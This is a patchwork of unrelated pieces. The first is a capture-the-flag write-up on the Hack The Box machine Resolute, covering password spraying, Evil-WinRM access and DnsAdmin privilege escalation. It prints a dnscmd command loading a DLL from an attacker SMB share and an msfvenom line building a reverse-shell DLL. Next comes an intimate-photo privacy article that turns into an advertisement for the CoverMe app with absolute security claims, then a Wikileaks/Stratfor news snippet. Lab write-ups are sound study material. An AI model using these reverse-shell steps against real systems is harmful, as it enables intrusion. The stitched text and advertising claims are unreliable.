#info leak

So I finally rooted Resolute... Quite ashamed at myself though: I really don’t think I’d have taken so long on it if I knew Windows better... xD

Long story short: I completely misunderstood the output of the whoami /groups command: I thought it showed possible user groups but it instead showed the groups of the logged in user (fml one million times over...)

RIGHT THERE... IT LITERALLY TELLS YOU THAT RYAN IS A DNSADMIN... JDKWFJFIF. X’D

Anyways, with self loathing ever so present, I’ll now walkthrough Resolute.

A run through of my enum script shows the presence of default password Welcome123! (enum4linux) for user Marko. While this password doesn’t work for Marko, it does turn out to be the correct pass for user Melanie- simple password spraying attack, the same concept as it would be with a variety of services. :)

After establishing a connection through Evil-WinRM, we can see that the only other users with their own directories are ryan, Administrator and Melanie (along with the defaults like Public etc.)

Logically, our goal is going to be Ryan first. It actually took me a while to find Ryan’s password in C:\PSTranscripts... Didn’t do well with Resolute at all, perhaps because it was one of my first Windows machines? :’)

Once you have access as Ryan, simple enumeration actually reveals that you’re a DnsAdmin and that the DNS process is running... If I’d known about being DnsAdmin I don’t think this machine would have taken me long at all. -.-

Upon this discovery, you can simply perform DLL Injection on the DNS process (https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2 describes this process well)

*Evil-WinRM* PS C:\Users\ryan> dnscmd RESOLUTE /config /serverlevelplugindll "\\10.10.X.X\hehe\r.dll"

Registry property serverlevelplugindll successfully reset. Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns

SERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 3  STOP_PENDING                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x0        WAIT_HINT          : 0x0 *Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns [SC] ControlService FAILED 1062:

The service has not been started.

*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns

SERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 2  START_PENDING                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x0        WAIT_HINT          : 0x7d0        PID                : 2224        FLAGS 

I generated the DLL with msfvenom (msfvenom -p windows/x64/shell_reverse_tcp LPORT=6969 LHOST=10.10.X.X -f dll > r.dll) and started an SMB server using Impacket’s smbserver.py.

This was eye opening tbh: I feel it was such a simple machine but I royally screwed up at a couple of points- like I mentioned, my misunderstanding of whoami /groups led me to falling down a rabbit hole for weeks, thus why I took a mini break and did a couple of other machines in the meantime.

I was back on track after execution of windows-privesc-check.exe by PentestMonkey (https://github.com/pentestmonkey/windows-privesc-check): it gave me the idea of DLL hijacking via the possibility of applications loading required DLLs from your pwd.

Teacher’s Phone Stolen, Nude Pictures Leaked; Administrators Blame Teacher. This shocking headline is a real story happened to Anne Arthur, a math teacher.

Every day there are people waking up to find their personal and very intimate pictures, or videos, published online on for all to see. Their stories and situations are heartbreaking. Almost always their reputation has been severely impacted by the publication of these deeply personal photos or videos on the internet.

Shockingly, over 95% of the personal cases we see are women and teenage girls. These 5 steps have been written for women to help protect them against online harassment.

Do NOT take pictures (or videos) of yourself in any compromising position especially undressed.

If you do take pictures (or videos) of yourself in the nude (or in various stages of undress) , do NOT send them to anyone. The risk is simply too high. Even if you completely trust the person. What happens if their phone, or laptop or pc is stolen? What happens if their email is hacked? Your picture can be shared for the whole world to see.

If someone takes an intimate, private, personal picture (or video) of you, ask them to delete it. If you are not interested in sharing this personal photo (or video) with all of your friends, family, co-workers, future in-laws or husband, make sure you see that it has been deleted.

If the picture(s) (or videos) was taken by a professional, make sure you own / have the original memory card the photos (or videos) were taken on – or see they are deleted.

Do not post or upload intimate, personal pictures or videos onto any website. This includes all social media and dating sites.

If you do keep intimate photos in your cell phone or pad, don’t hesitate to get CoverMe – the ultimate mobile privacy safeguard for you.

CoverMe is the ultimate secure messaging app providing private texting, secure phone calls, fun and safe sharing of personal photos & videos, with an impenetrable vault for protecting your privacy from prying eyes.

CoverMe even allow you to embed a ‘self-destruct’ into messages. Once a message is read it will disappear.Never worry again about private messages being spread around or stored!

CoverMe Private Vault is the ultimate way to ensure your personal contacts, messages, call logs, confidential documents, notes, secret diary, and private pictures & videos stay hidden and private. The encrypted vault is invisible and completely impenetrable without the password. Even if your device is lost or left unattended, your private information is absolutely safe.

Download CoverMe for iPhone/iPad/iPod

Wikileaks has published five million emails from Stratfor, an intelligence company based in Texas that, looking at their practices, appears to be America's very own privately run CIA. According to Wikileaks, their deals would also include the use of privileged information to make money in financial markets.

Stratfor's clients are the US Government, other countries and military organizations, as well as private companies like Lockheed Martin, Northrop Grumman or Raytheon. They have a global network of spies in governments and media companies, including "secret deals with dozens of media organizations and journalists, from Reuters to the Kiev Post." According to the emails, these spies get paid in Swiss bank accounts and pre-paid credit cards.